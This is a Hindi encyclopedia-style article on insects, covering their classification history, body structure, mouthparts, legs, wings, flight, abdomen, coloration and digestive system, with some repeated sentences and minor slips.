कीट

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कीट (अंग्रेज़ी-Insect) प्राय: छोटा, रेंगने वाला, खंडों में विभाजित शरीर वाला और बहुत-सी टाँगों वाले प्राणी कीट को कहते हैं, वास्तव में यह नाम विशेष लक्षणों वाले प्राणियों को दिया जाना चाहिए। कीट अपृष्ठीवंशियों[1] के उस बड़े केसमुदाय अंतर्गत आते है जो संधिपाद[2] कहलाते हैं। लिनीयस ने सन 1735 में कीट[3] वर्ग में वे सब प्राणी सम्मिलित किए थे, जो अब संधिपाद समुदाय के अंतर्गत रखे गए हैं। लिनीयस के इनसेक्ट[4] शब्द को सर्वप्रथम एम. जे. ब्रिसन ने सन 1756 में सीमित अर्थ में प्रयुक्त किया। कीट अर्थोपोडा संघ का एक प्रमुख वर्ग है। तभी से यह शब्द इस अर्थ में व्यवहृत हो रहा है। सन 1825 में पी. ए. लैट्रली ने कीटों के लिये हेक्सापोडा[5] शब्द का प्रयोग किया, इस शब्द से इन प्राणियों का एक अत्यंत महत्वपूर्ण लक्षण व्यक्त होता है।[6]

लक्षण

इनका शरीर खंडों में विभाजित रहता है जिसमें सिर में मुख भाग, एक जोड़ी श्रृंगिकाएँ[7], प्राय: एक जोड़ी संयुक्त नेत्र और बहुधा सरल नेत्र भी पाए जाते हैं। वृक्ष पर तीन जोड़ी टाँगों और दो जोड़े पक्ष होते हैं। कुछ कीटों में एक ही जोड़ा पक्ष होता है और कुछ पक्षविहीन भी होते है। उदर में टाँगें नहीं होती हैं। इनके पिछले सिरे पर गुदा होती है और गुदा से थोड़ा सा आगे की ओर जनन छिद्र होता है। श्वसन महीन श्वास नलियों[8] द्वारा होता हैं। श्वास नली बाहर की ओर श्वासरध्रं[9] द्वारा खुलती है। प्राय: दस जोड़ी श्वासध्रां शरीर में दोनों ओर पाए जाते हैं, किंतु कई जातियों में परस्पर भिन्नता भी रहती है। रक्त लाल कणिकाओं से विहीन होता है और प्लाज्म़ा[10] में हीमोग्लोबिन[11] भी नहीं होता। अत: श्वसन की गैसें नहीं पहुँचती हैं। परिवहन तंत्र खुला होता हैं, हृदय पृष्ठ की ओर आहार नाल के ऊपर रहता है। रक्त देहगुहा में बहता है, बंद वाहिकाओं की संख्या बहुत थोड़ी होती है। वास्तविक शिराएँ, धमनियों और कोशिकाएँ नहीं होती हैं। निसर्ग[12] नलिकाएँ पश्चांत्र के अगले सिरे पर खुलती हैं। एक जोड़ी पांडुर ग्रंथियाँ[13] भी पाई जाती हैं। अंडे के निकलने पर परिवर्धन प्राय: सीधे नहीं होता, साधारणतया रूपांतरण द्वारा होता है।[6]

जातियाँ

प्राणियों में सबसे अधिक जातियाँ कीटों की हैं। कीटों की संख्या अन्य सब प्राणियों की सम्मिलित संख्या से छह गुनी अधिक है। इनकी लगभग दस बारह लाख जातियाँ अब तक ज्ञात हो चुकी हैं। प्रत्येक वर्ष लगभग छह सहस्त्र नई जातियाँ ज्ञात होती हैं और ऐसा अनुमान है कि कीटों की लगभग बीस लाख जातियाँ संसार में वर्तमान में हैं। इतने अधिक प्राचुर्य का कारण इनका असाधारण अनुकूलन[14] का गुण हैं। ये अत्यधिक भिन्न परिस्थितियों में भी सफलता पूर्वक जीवित रहते हैं। पंखों की उपस्थिति के कारण कीटों को विकिरण[15] में बहुत सहायता मिलती हैं। ऐसा देखने में आता में है कि परिस्थितियों में परिवर्तन के अनुसार कीटों में नित्य नवीन संरचनाओं तथा वृत्तियों[16] का विकास होता जाता है।

पोषण तथा आवास

कीटों ने अपना स्थान किसी एक ही स्थान तक सीमित नहीं रखा है। ये जल, स्थल, आकाश सभी स्थानों में पाए जाते हैं। जल के भीतर तथा उसके ऊपर तैरते हुए, पृथ्वी पर रहते और आकाश में उड़ते हुए भी ये मिलते हैं। अन्य प्राणियों और पौधों पर बाह्य परजीवी[17] के रूप मे भी ये जीवन व्यतीत करते हैं। ये घरों में भी रहते हैं और वनों में भी, तथा जल और वायु द्वारा एक स्थान से दूसरे स्थान पर पहुँच जाते हैं। कार्बनिक अथवा अकार्बनिक, कैसे भी पदार्थ हों, ये सभी में अपने रहने योग्य स्थान बना लेते हैं। उत्तरी ध्रुव प्रदेश से लेकर दक्षिणी ध्रुव प्रदेश तक ऐसा कोई भी स्थान नहीं जहाँ जीवधारियों का रहना हो ओर कीट न पाए जाते हों। वृक्षों से ये किसी रूप में अपना भोजन प्राप्त कर लेते हैं। सड़ते हुए कार्बनिक पदार्थ ही न जाने कितनी सहस्र जातियों के कीटों को आकृष्ट करते तथा उनका उदर पोषण करते हैं। यही नहीं कि कीट केवल अन्य जीवधारियों के ही बाह्य अथवा आंतरिक पारजीवी के रूप में पाए जाते हों, वरन उनकी एक बड़ी संख्या कीटों को भी आक्रांत करती है और उनसे अपने लिए आश्रय तथा भोजन प्राप्त करती हैं। अत्यधिक शीत भी इनके मार्ग में बाधा नहीं डालता है।
कीटों की ऐसी कई जातियाँ हैं, जो हिमांक से भी लगभग 50 सेंटीग्रेट नीचे के ताप पर जीवित रह सकती हैं। दूसरी ओर कीटों के ऐसे वर्ग भी हैं जो गरम पानी के उन श्रोतों में रहते हें जिसका ताप 40 से अधिक है। कीट ऐसे मरुस्थलों में भी पाए जाते हैं जहां का माध्यमिक ताप 60 सेल्सियस तक पहुँच जाता है, कुछ कीट तो मरुस्थलों में भी पाऐ जाते हैं। जहाँ का माध्यमिक ताप 60 सेल्सियस तक पहुँच जाता है। कुछ कीट तो ऐसे पदार्थों में भी अपने लिए पोषण तथा आवास ढूँढ लेते हैं जिसके विषय में कल्पना भी नहीं की जा सकती कि उनमें कोई जीवधारी रह सकता है या उनके प्राणी अपने लिए भोजन प्राप्त कर सकता है। उदाहरण- साइलोसा पेटरोली[18] नामक कीट के डिंभ कैलीफोर्निया के पैट्रोलियम के कुओं में रहते पाये गये हैं। कीट तीक्ष्ण तथा विषेले पदार्थों में रहते तथा अभिजनन करते पाए गए हैं। जैसे अपरिष्कृत टार्टर जिसमे 80 प्रतिशत पौटेशियम वाईटार्टरेट होता है। अफीम, |लाल मिर्च, अदरक, नौसादर, कुचला[19] पिपरमिंट, कस्तूरी, मदिरा की बोतलों के काम, रँगने वाले ब्रश। कुछ कीट ऐसे भी हैं जो गहरे कुओं और गुफाओं मे रहते हैं, जहाँ प्रकाश कभी नहीं पहुँचता है। अधिकतर कीट उष्ण देशों में मिलते हैं और इन्हीं कीटों से नाना प्रकार की आकृतियों तथा रंग पाए जाते हैं।

व्यवहार

सहजवृति[20] के कारण कीटों का व्यवहार स्वभावत: ऐसा होता है जिससे उनके निजी कार्य में निरंतर लगे रहने की दृढ़ता प्रकट होती है। उनमें विवेक और विचारशक्ति का अभाव होता है। घरेलू मक्खियों को ही लें। बारबार किए जाने वाले प्रहार से वे न तो डरती हैं और न हतोत्साहित ही होती हैं। उन्हें हार मानना तो जैसे आता ही नहीं। जब तक उनके शरीर में प्राण रहते हैं, तब तक वे अपने भोजन की प्राप्ति तथा संतानोत्पति के कार्य की पूर्ति में बराबर लगी रहती हैं।

आकार

कीटों का आकार प्राय: छोटा होता है। अपने सूक्ष्म आकार के कारण वे वहुत लाभान्वित हुए हैं। यह लाभ अन्य दीर्घकाय प्राणियों को प्राप्त नहीं हैं। प्रत्येक कीट को भोजन की बहुत थोड़ी मात्रा की आवश्यकता होती है। अपनी सूक्ष्म काया के कारण वे रन्ध्रों या दरारों में भी सरलता से आश्रय ले लेते हैं। इनका आकार इनकी रक्षा में सहायता करता है। इनके छोटे आकार के होते हुए भी उनमें अदम्य शक्ति होती है। अनेक कीट अपने शारीरिक भार से दस से बीस गुना तक बोझ वहन कर सकते हैं। एक पिस्सू[21], जिसकी टागें लगभग एक मिलीमीटर लंबी होता है, बीस सेंटीमीटर लंबाई से चालीस सेंटीमीटर लंबाई तक कूद सकता है।

कुछ कलापक्ष[22] परजीवियों की लंबाई केवल 0.2 मिलीमीटर ही होती है। कुछ तृणकीट[23], जैसे फाइमेसिया सेराटिपस[24] 260 मिलीमीटर तक लंबे होते हैं। यदि पखों को फैलाकर एरविस एग्रिपाइना[25] मापा जाए तो इसकी चौड़ाई 280 मिलीमीटर तक पहुँच जाती है। आधुनिक कीटों में यह सबसे बड़ा है और प्राचीन काल की ड्रेगन फ्लाई [26], जिनके अस्तित्वावशेष मिलते हैं, पंख फैलाने पर, मापने पर दो फुट से भी अधिक लंबी पाई जाती है। मनुष्य और कीट वर्ग में बहुत घनिष्ठ संबंध है। अनेक जातियाँ हमें अत्यधिक हानि पहुँचाती हैं, हमारे भोज्य पदार्थों को खा डालती हैं, हमारे वस्त्रों आदि को नष्ट कर देती हैं और मनुष्यों, पशुओं तथा पौधों में अनेक रोग फैलाती हैं।

बाह्य कंकाल

कीटों की अस्थियां नहीं होती हैं। इनका कंकाल अधिकतर बाह्य होता है तथा दृण बह्यत्वक[27] बना रहता है। यही देहभित्ति का बाह्य स्तर होता है। इस कंकाल में गुरूता अधिक होती है। अस्थियों की तुलना में यह हल्का, किन्तु बहुत ही सुदृढ‌ होता है। साधारणतया विभिन्न सामान्य रासायनिक विलियनों का इस स्तर पर कुछ भी प्रभाव नहीं दिखाई पड़ता है। इस शरीरावरण का इतना अधिक अप्रभावित होना विशेष महत्व रखता है। इस कारण साधारण कीटाणुनाशी कीटों को सरलता से नष्ट नहीं कर सकते हैं। बाहियत्वक शरीर के प्रत्येक भाग को ढके रहते हैं, यहाँ तक कि नेत्र, श्रंगिकाएँ, नखर[28] तथा मुख भागों पर भी इसका आवरण रहता है। आहार नाल के अग्र और पश्च भाग की भित्ति भीतर की ओर तथा श्वसन नलिकाएँ बाह्यत्वक के एक बहुत महीन स्तर से ढकी रहती हैं। बाह्यत्वक के भीतर की ओर जीवित कोशिकाओं का स्तर होता है, जो हाइपोडर्मिस[29] कहलाता है। यही स्तर बाह्यत्वक का उत्सर्जन करता है। हाइपोडर्मिस के भीतर की ओर एक अत्यधिक सूक्ष्म निम्न तलीय झिल्ली होती है।

सावनिय़ाँ

बाह्य कंकाल संधियों पर तथा अन्य ऐसे स्थानों पर जहाँ गति होती है, झिल्लीमय हो जाता है। इन स्थानों के अतिरिक्त सारे शरीर का कंकाल भिन्न-भिन्न भागों में विभक्त रहता है। ये भाग दृणक[30] कहलाते हैं और एक दूसरे से निश्चित रेखाओं द्वारा मिले रहते हैं। ये रेखाएँ सावनिय़ाँ[31] कहलाती हैं। किन्तु जब संलग्न दृढ़क का आपस में समेकन हो जाता है तो सीवनियाँ लुप्त हो जाती हैं। बाह्य कंकाल कोमल पेशियों के लिए एक ढाँचे का कार्य करता है। शरीर के ऊपर विभिन्न प्रकार के शल्क, बाल, काँटे आदि विद्यमान रहते हैं।

खंडीभवन

कीट खंड[32] वाले जीव हैं। खंड व्यवस्थित होने के कारण वे स्वतंत्रता से चल सकते हैं। और उनके शरीर में श्रम विभाजन हो पाता है। श्रम विभाजन के फलस्वरूप शरीर का एक खंड भोजन प्राप्त करने के लिए, दूसरा प्रगति के हेतु, तीसरा प्रजनन के निमित्त तथा चौथा रक्षार्थ होता है। इस प्रकार भिन्न-भिन्न खंड निजी कार्य पृथक-पृथक रूप से संपादित करते रहते हैं। शरीर के प्रत्येक खंड में पृष्ठीय पट्ट[33], दाँए, बाएँ दो भाग पार्श्वक[34] तथा एक उरूपट्ट भाग[35] होता है। आदर्श रूप से कीटों के शरीर में 20 या 21 खंड होते हैं, किन्तु यह संख्या इन खण्डों के समेकन और संकुचन के कारण बहुत कम हो जाती है।

सिर

सीवनी

सिर भोजन करने और संवेदना का केंद्र है। इसमें छह खण्ड होते हैं, जिनका परस्पर ऐसा समेकन हो गया है कि इनमें उपकरणों के अतिरिक्त खंडीभवन का कोई भी चिन्ह नहीं रह जाता। सामान्य कीटों के सिर के अग्र भाग में रोमन अक्षर वाई ज्ञ के आकार की एक सीवनी होती है, जो सिरोपरि[36] सीवनी कहलाती है।

ललाट तथा सिरोपरि भित्ति

इस सीवनी की दोनों भुजाओं के मध्य का भाग ललाट[37] कहलाता है। भाल के पीछे वाले सिर के भाग को सिरोपरि भित्ति[38] कहते हैं। सिरोपरि भित्ति पर एक जोड़ी श्रंगिकाएं और एक जोड़ी संयुक्त नेत्र सदा पाए जाते हैं।

उदोष्ठधर तथा एपिफैरिग्स

भाल के आगे की और वाले सिर के भाग को उदोष्ठधर[39] कहते है। उदोष्ठधर के अगले किनारे पर लेब्रम[40] जुड़ा रहता है। लेब्रम की भीतरी भित्ति को एपिफैरिग्स[41] कहते हैं।

कपाल

सिरोपरि भित्ति पर एक जोड़ी श्रंगिकाएं और एक जोड़ी संयुक्त नेत्र सदा पाए जाते हैं। नेत्रों के नीचे वाले सिर के भाग को कपाल[42] कहते हैं। सिर पर दो या तीन सरल नेत्र या आसेलाई[43] भी प्राय: पाए जाते हैं। सिर ग्रीवा द्वारा वक्ष से जुड़ा रहता है। सिर के उस भाग में, जो ग्रीवा से मिलता है, एक बड़ा रन्ध्र होता है जो पश्चकपाल छिद्र[44] कहलाता है।

मैंडिबल, मैक्सिला तथा लेवियम

सिर के चार अवयव होते हैं, जो मैंडिबल[45] मैक्सिला[46] और लेवियम[47] कहलाते हैं। मैंडिवल में खंड होते हैं, जिनकी संख्या विभिन्न प्रजातियों में भिन्न-भिन्न होती है। इनकी आकृति में भी वहुत भेद रहता है। मादाओं के मैंडिबल प्राय: विशेष रूप से विकसित होते हैं। मैंडिवल द्वारा ही कीटों को अपने मार्ग और संकट का ज्ञान होता है। इन्हीं के द्वारा वे अपने भोजन व अपने साथी की खोज कर पाते हैं। चीटियाँ इन्हीं के द्वारा एक दूसरे को संकेत देती हैं। मक्खियों में इन्हीं पर घ्राणेंद्रियाँ पाई जाती हैं। नर मच्छर इन्हीं से सुनते हैं और कोई कोई कीट अपने संगी तथा अपने शिकार को पकड़ने के लिए भी इनसे काम लेते हैं। मैंडिबल भी प्रदान जबड़े हैं और ये भी भोजन को पकड़ते तथा कुचलते हैं।

उद्वृंत तथा अधश्चिब्रुक

मैक्सिला सहायक जबड़ा है। इसमें कई भाग होते हैं। यह अधोवृंत[48] द्वारा सिर से जुड़ा रहता है। दूसरा भाग उद्वृंत[49] कहलाता है। इसका एक शिरा अधोवृंत से जुड़ा रहता है और दूसरे सिरे पर एक उष्णोव[50], एक अंतजिह्वा[51] और एक खंडदार स्पर्शिनी[52] होती हैं। अवर औष्ठ दो अवयवों से मिलकर बना होता है। दोनों अवयवों का समेकन अपूर्ण ही रहता है इसमें वह चौड़ा भाग, जो सिर से जुड़ा रहता है, अधश्चिब्रुक[53] कहलाता है। इसके अगले किनारे पर चिबुंक[54] जुड़ा रहता है। चिबुंक के अग्र के किनारे पर चिबुंकाग्र[55] होता है, जो दो भागों का बना होता है और जिसके अग्र किनारे पर बाहर की ओर एक जोड़ी वहिर्जिह्वा[56] तथा भीतर की ओर एक जिह्वा[57] होती है। इनकी तुलना उपजंभ के उष्णीष और अंतर्जिह्वा से की जा सकती है। ये चारों भाग मिलकर जिह्विका[58] बनाते हैं। चिबुकाग्र के दाएँ व बाएँ किनारे पर एक-एक खंडदार स्पर्शिनी[59] होती हैं। मुख वाले अवयवों के मध्य जो स्थान घिरा रहता है, वह प्रमुख गुहा[60] कहलाता है। इसी स्थान में जिह्वा[61] होती है। जिह्वा की जड़ पर, ऊपर की ओर मुख का छिद्र और नीचे की ओर लार नली का छिद्र होता है।

भोजन करने की विधि

कीटों के भोजन करने की विधियाँ विभिन्न हैं। तदनुसार इनके मुख भागों की आकृति में परिवर्तन होता है। जो कीट मुखभाग के छिद्र से भोजन चूसते हैं, इनमें मैंडिवल, मैक्सिला आदि के मुखभाग सुई के समान होते हैं। भोजन का अवशोषण करने वाले कीटों के मुखभाग का अधर ओष्ठ शिंडाकार होता है इसके सिर पर द्रव पदार्थ के अवशोषण के लिए कोशिका नलिकाएँ होती है। भिन्न-भिन्न प्रकार के मुख भाग विभिन्न समुदाय के कीटों के वर्णन में बतलाए गये हैं।

वक्ष

ये प्रगति का केंद्र है। यह शरीर का मध्यभाग होने के कारण प्रगति के लिए बहुत ही उपयुक्त है। इस भाग में तीन खण्ड होते हैं, जो अग्रवक्ष[62], मध्य वक्ष[63] और पश्च वक्ष[64] कहलाते हैं। भिन्न-भिन्न समुदाय के कीटों के तीन खण्डों में अत्यधिक भेद पाया जाता है। फुदकने वाले कीटों का अग्र वक्ष सबसे अधिक विकसित होता है, किंतु मध्य वक्ष और पश्च वक्ष का आकार पक्षों की परिस्थिति पर निर्भर करता है। जब दोनों पक्षों का आकार लगभग एक-सा होता है तब दोनों वक्षों का आकार भी एक-सा पाया जाता है। द्विपक्षों में केवल एक ही जोड़ी अर्थात अग्र पक्ष ही होते हैं। इस कारण मध्य पक्ष सबसे अधिक बड़ा होता है।
पक्ष विहीन कीटों में प्रत्येक खंड का पृष्ठीय भाग सरल तथा अविभाजित रहता है पक्ष वाले खंडों का पृष्ठीय भाग लाक्षणिक रूप से तीन भागों में विभाजित रहता है, जो एक दूसरे के पीछे क्रम से जुड़े रहते हैं और प्रग्वरूथ[65], वरूथ[66] तथा वरूथिका[67] कहलाते हैं, वरूथिका के पीछे की ओर पश्च वरूथिका[68] भी जुड़ी रहती हैं। जो अंतखंडीय झिल्ली के कड़े होने से बन जाती है। इन सब भागों में वरूथिका ही प्राय: सबसे मुख्य होती है। दोनों ओर के पार्श्वक भी दो-दो भागों में विभाजित रहता है। अग्रभाग उदरोस्थि[69] और पश्चभाग पार्श्वक खंड[70] कहलाता है। प्रतिपृष्ठ में बेसिस्टर्नम[71] और फर्कास्टर्नम[72] नामक दो भाग होते हैं। फर्कास्टर्नम के पीछे की ओर अंतखंडीय झिल्ली कड़ी होकर स्पाइनास्टर्नम[73] बनकर जुड़ जाती है।

पद

वक्ष के प्रत्येक खंड में एक जोड़ी टाँग होती है। प्रत्येक टाँग पाँच भागों में विभाजित रहती है। टाँग का निकटस्थ भाग, जो वक्ष से जुड़ा होता है, कक्षांग[74] कहलाता है। दूसरा छोटा-सा भाग ऊरूकट[75], तीसरा लंबा और दृण भाग उर्विका[76], चौड़ा लम्बा पतला भाग जंघा[77] ओर पाँचवा भाग गुल्फ[78] कहलाता है, जो दो से लेकर पाँच खण्डों में विभाजित हो सकता है। गुल्फ के अंतिम खंड में नखर[79] तथा गद्दी[80] जुड़ी होती है और यह भाग गुल्फाग्र[81] कहलाता है। नखर प्राय: एक जोड़ी होते हैं। गद्दियों को पलविलाइ[82], एरोलिया[83], एपीडिया[84] आदि नाम दिए गए हैं।

विशेषता

टाँगों में उपयोगितानुसार अनेक विशेषताएँ दृष्टि गोचर होती हैं। खेरिया[85] की टीवियां मिट्टी खोदने के लिए हैंगी के आकार की हो जाती हैं और इसके नीचे की ओर तीन खंड वाला गुल्फ जुड़ा होता है। फुदकने वाले टिड्डों की पश्च टागों की ऊर्विका[86] बहुत पुष्ट होती है। श्रमिक मधुमक्खियों की पश्च टाँगें पराग एकत्र करने के लिए उपयोगी होती हैं। इनमें गुल्फ में क्रमानुसार श्रेणीबद्ध बाल लगे होते हैं, जिनसे वे पराग एकत्र करते हैं, और जंघा के किनारे पर काँटे होते हैं, जो पराग को छत्ते तक ले जाने के लिए पराग डलिया का कार्य करते हैं। आखेटिपतंग की टाँगे गमन करने वाली होने के कारण ऊरूकूट दो भागों में विभाजित हो जाता है। जूँ की टाँगे बालों को पकड़ने के लिए बनी होने के कारण गुल्फ में केवल एक ही खंड होता है तथा उसमें एक ही नखर लगा होता है। बाल को पकड़े रहने के लिए नखर विशेष आकृति का होता है। जलवासी कीटों की टांगे तैरने के लिए बनी होती हैं। इनमें लम्बे बाल होते हैं, जो पतवार का काम करते हैं। बद्धहस्त[87] की अगली टाँगे शिकार को पकड़ने के लिए होती हैं। इसका कक्षांग बहुत लंबा, ऊर्विका और जंघा काँटेदार होती है। खाते समय वह इसी से शिकार को पकड़े रहता हैं। घरेलू मक्खी के गुल्फ में नखर, उपबर्हिकाएँ और बाल होते हैं, जिनके कारण इनका अधोमुख चलाना सम्भव होता है।

प्रगति

चलते समय कीट अपनी अगली और पिछली टाँगे एक ओर मध्य टाँग दूसरी ओर आगे बढ़ाता है। सारा शरीर क्षण भर को शेष तीन टाँगों की बनी तिपाई पर आश्रित रहता है। अगली टाँग शरीर को आगे की ओर खींचती है, पिछली टाँग उसी ओर को धक्का देती है और मध्य टाँग शरीर को सहारा देकर नीचे या ऊपर करती है। आगे की ओर बढ़ते समय कीट मोड़दार मार्ग का अनुसरण करते हैं।

पक्ष

महीन तथा दो परतों से बने होते हैं, जो मध्य वक्ष और पश्च वक्ष के पृष्ठीय भागों के किनारे से दाएँ बाएँ परत की भाँति विकसित होते हैं। पक्षों में कड़ी, महीन नलिकाओं का एक ढाँचा होता है, जो इसको दृढ़ बनाता है। ये नलिकाएँ शिराएँ[88] कहलाती हैं। पक्ष कुछ-कुछ त्रिकोणाकार होते हैं। इसका आगे वाला किनारा पार्श्व[89], बाहर की ओर वाला बाहरी[90] और तीसरी ओर का किनारा गुदीय[91] कहलाता है। पार्श्व किनारे की ओर की शिरायें प्राय मोटी या अधिक पास होती हैं, क्योंकि उड़ते समय सबसे अधिक दाब पक्ष के इसी भाग पर पड़ती हैं। शिराओं की रचना कीट के वर्गीकरण में बहुत महत्व रखती हैं। मुख्य शिराओं के नाम इस प्रकार हैं-

  1. कौस्टा[92]
  2. सबकौस्टा[93]
  3. रेडियस[94]
  4. मीडियस[95]
  5. क्यूबिटस[96]
  6. ऐनैल[97]

भिन्न-भिन्न समुदाय के कीटों के पक्षों की शिराओं की रचना में बहुत भेद पाया जाता है। इनमें से कुछ शिराएँ तो लुप्त हो जाती हैं, या उनकी शाखाओं की संख्या बढ़ जाती हैं। इन शिराओं के बीच-बीच में खड़ी शिराएँ भी पाई जाती हैं।

पक्ष का महत्व

कीटों के जीवन में पक्षों को अत्यधिक महत्व है। पक्ष होने के कारण ये अपने भोजन की खोज में दूर-दूर तक उड़ जाते हैं। इनको अपने शत्रुओं से बचकर भाग निकलने में पक्षों से बड़ी सहायता मिलती है। पक्षों की उपस्थिति के कारण कीटों को अपनी परिव्याप्ति[98] में, अपने संगों को प्रप्त करने में, अंडा रखने के लिए उपयुक्त स्थान खोजने में तथा अपना घोंसला ऐसे स्थानों पर बनाने में जहाँ उनके शत्रु न पहुँच पाएँ, बहुत सहायता मिलती है।

उड़ान

उड़ते समय प्रत्येक पक्ष में पेशियों के दो समूहों द्वारा प्रगति होती है। एक समूह तो उन पेशियों का है, जिनका प्रत्यक्ष रूप में पक्षों से कोई संबंध प्रतीत नहीं होता है। ये पेशियाँ वक्ष की भित्ति पर जुड़ी होती हैं। इनका पक्ष की जड़ से कोई संबंध नहीं रहता है। खड़ी पेशियाँ वक्ष के पृष्ठीय भाग को दबाती हैं। वक्ष के पक्षों की संधि विशेष प्रकार की होने के कारण, इस दाब का यह प्रभाव होता है कि पक्ष ऊपर की ओर उठ जाते हैं। लंबान पेशियाँ वक्ष के पृष्ठीय भाग को वृत्ताकार बना देती हैं, जिसके प्रभाव से पक्ष नीचे की ओर झुक जाते हैं।
दूसरे समूह की पेशियाँ, पक्षों की जड़ पर, या पक्षों की जड़ से नन्हें नन्हें स्किलेराइट पर, जुड़ी होती हैं, इनमें से पक्षों को फैलाने वाली अग्र और पश्च पेशियाँ मुख्य हैं। उड़ते समय प्रथम समूह की पेशियाँ जब पक्षों को बारी-बारी से ऊपर-नीचे करती हैं, तब पक्षों को फैलाने वाली पेशियाँ मुख्य है। उड़ते समय प्रथम समूह की पेशियाँ जब पक्षों को बारी-बारी से उपर-नीचे करती हैं, तब पक्षों को फैलाने वाली पेशियाँ पक्षों को आगे और पीछे की ओर करती है। उड़ते हुए कीट के पक्षों के आर-पार हवा का बहाव इस प्रकार का होता है कि पक्ष के ऊपरी और निचले तल पर दाव में अंतर रहता है। फलत: एक वायु गति का बल बन जाता है, जो पक्षों को ऊपर की ओर साधे रहता हैं और शरीर को उड़ते समय सहारा देता है।

कंपन

मक्खियों और मधुमक्खियों मे पक्ष कंपन सबसे अघिक होता है। घरेलू मक्खी का पक्ष कंपन प्रति सेकंड 180 से 167 बार होता है, मधुमक्खी में 180 से 203 बार, और मच्छर मे 278 से 307 बार। ओडोनेटा[99] गण के कीटों का पक्ष कंपन 28 बार प्रति सेकंड होता है। अत्यधिक वेग से उड़ने वाले कीटों में बाजशलभ और ओडोनेटा की एक जाति के कीट की गति 90 प्रति घंटा तक पहुँच जाती है।

उदर

उदर उपापचय[100] और जनन का केंद्र है। इसमें 10 खंड होते है, अंधकगण[101] में 12 खंड और अन्य कुछ गणों मे 11 खंड पाए जाते हैं। बहुत से गणों मे अग्र और पश्च भाग के खंडो मे भेद होता है और इस कारण इन भागों के खंडो की सीमा कठिनता से निश्चित हो पाती है , किंतु गुदा सब कीटों मे अंतिम खंड पर ही होती है। कुछ कीटों मे अंतिम खंड पर एक जोड़ी खंड वाली पुच्छकाएँ[102] लगी होती है। नर में नौवाँ खंड जनन संबंधी होता है। इसके ठीक पीछे की और प्रतिपृष्ट पर जनन संबंधी छिद्र पाया जाता है और पर जनन अवश्य लगे रहते हें। जनन अवश्य या बाह्य जननेंद्रियाँ ये हैं-एक शिशन[103], एक जोड़ी आंतर अवयव[104] और एक जोड़ी बाह्य अवयव[105], जो मैथुन के समय मादा को थामने का काम करती है। ये सब अवश्य नवें खंड से विकसित होते है। मादा में आठवाँ और नौवाँ जनन संबंधी खंड है और इन्हीं पर जनन अवश्य या बाह्य जननेंद्रियाँ लगी होती है। ये इंद्रियाँ अंडा रखने का कार्य करती है। इसलिए इनको अंडस्थापक भी कहते हैं। मादा का जनन संबंधी छिद्र सांतवे प्रतिपृष्ट के ठीक पीछे होता हैं, किंतु कुछ गणों मे यह अधिक पीछे की ओर हट जाता है।

कपाट

अंडस्थापक विभिन्न समुदायों के कीटों में विभिन्न कार्य करता है, यथा मधुमक्खियों, बर्रों और बहुत सी चींटियों में डंक का, साफ़िलाइज में पौधों में अंडा रखने के लिए गहरा छेद करने का तथा आखेटिपतंग में दूसरे कीटों के शरीर में अंडा रखने के लिए छेद करने का। कुछ कीटों में अंडस्थापक नहीं होता है। बहुत में कंचुक पक्षों और मक्खियों में शरीर के अंतिम खंड दूरबीन के सदृश हो जाते हैं और अंडा रखने का कार्य करते हैं। अंडस्थापक तीन जोड़ी अवयवों का बना होता है, जो अग्र, पश्च और पृष्ठीय कपाट कहलाते हैं। अग्र कपाट आठवें खंड से और शेष दो जोड़ी कपाट नवे खंड से विकसित होते हैं।

रंग

कीट तीन प्रकार के रंगों के होते हैं-

  1. रासायनिक
  2. रचनात्मक
  3. रासायनिक रचनात्मक

रासायनिक रंग

रासायनिक रंगों में निश्चित रासायनिक पदार्थ पाए जाते हैं, जो अधिकतर उपापचय की उपज होते हैं। कुछ कीटों में ये पदार्थ उत्सर्जित वस्तु के समान होते हैं। इनमें कुछ रंग बाह्यत्वक में पाए जाते हैं, जो काले, भूरे और पीले रंग के होते हैं तथा स्थायी रहते हैं। हाइपोडर्मिल वाले रंग छोटे-छोटे दानों अथवा वसा कणों के रूप में कीट की कोशिकाओं में विद्यमान रहते हैं। ये रंग लाल, पीले, नारंगी और हरे होते हैं तथा कीट की मृत्यु के पश्चात शीघ्र लुप्त हो जाते हैं।

रचनात्मक

कुछ रंग रक्त और वसा पिंडक में भी पाए जाते हैं। रचनात्मक रंग बाह्यत्वक की रचना के कारण प्रतीत होते हैं और बाह्यत्वक में परिवर्तन होने से नष्ट हो जाते हैं। बाह्यत्वक के सिकुड़ने, फूलने अथवा उसमें किसी अन्य द्रव्य के भर जाने से भी रंग नष्ट हो जाता है।

रासायनिक रचनात्मक

रासायनिक रचनात्मक रंग रासायनिक और रचनात्मक दोनों पदार्थों के मिलने से बनते हैं।

आंतरिक शरीर की रचना

कीटों के आंतरिक शरीर की रचना निम्न प्रकार है -

पाचक तंत्र

पाचक तंत्र तीन भागों में विभाजित रहता है-

  1. अग्र आंत्र
  2. मध्य आंत्र
  3. पश्च आंत्र।

अग्र और पश्चांत्र शरीर भित्ति के भीतर भित्ति भीतर की ओर महीन बाह्यत्वक से ढकी रहती है, किंतु मध्यांत्र थैली के समान पृथक विकसित होता है और अग्रांत तथा पश्चांत्र को जोड़ता है। अग्रांत में एक सकरी ग्रासनली होती है, एक थैली के आकार का अन्नग्रह[106] और प्राय एक पेशणी भी होती है। अग्रांत के दोनों ओर लार ग्रंथियाँ होती हैं। दोनों ही मिलकर प्रमुख गुहा में खुलती हैं। मध्यांत्र छोटी होती है तथा इसमें से प्राय: उंडुक[107] निकले रहते हैं। पश्चांत्र दो भागों में विभाजित रहता है, अग्र भाग नलिका समान आंत्र और पश्च भाग थैली के समान मलाशय बनाता है। मध्य और पश्चांत्र के संधि स्थान के महीन-महीन निसर्ग[108] नलिकाएँ खुलती हैं।

कीट लगभग सभी प्रकार के कार्बनिक पदार्थ अपने भोजन के काम में ले लेते हैं। इस प्रकार साधारण प्रकार के लगभग सारे किण्वज[109] कीटों के पाचक तंत्र में पाए जाते हैं। लार ग्रंथियाँ एमाइलेस[110] का उत्सर्जन करती है, जो ग्रासनली में प्रवेश करते समय भोजन से मिल जाता है। कार्बोहाइड्रेट का पाचन मध्य आंत्र में ही पूरा होता है। मध्यांत्र में ये किण्वज पाये जाते हैं- एमाइलेस, इनवर्टेस[111], मालटेस[112], प्रोटियेस[113], लाइपेस[114] और हाइड्रोलाइपेस[115]। ये क्रमानुसार स्टार्च, गन्ने की शर्करा, मालटोस, प्रोटीन और चर्बी को पचाते हैं। ये किण्वज अन्नग्रह[116] में पहुँच जाते हैं, जहाँ अधिकतर पाचन होता है, केवल तरल पदार्थ ही पेषणी द्वारा मध्यांत्र में पहुँचते हैं, जहाँ केवल अवशोषण होता है। 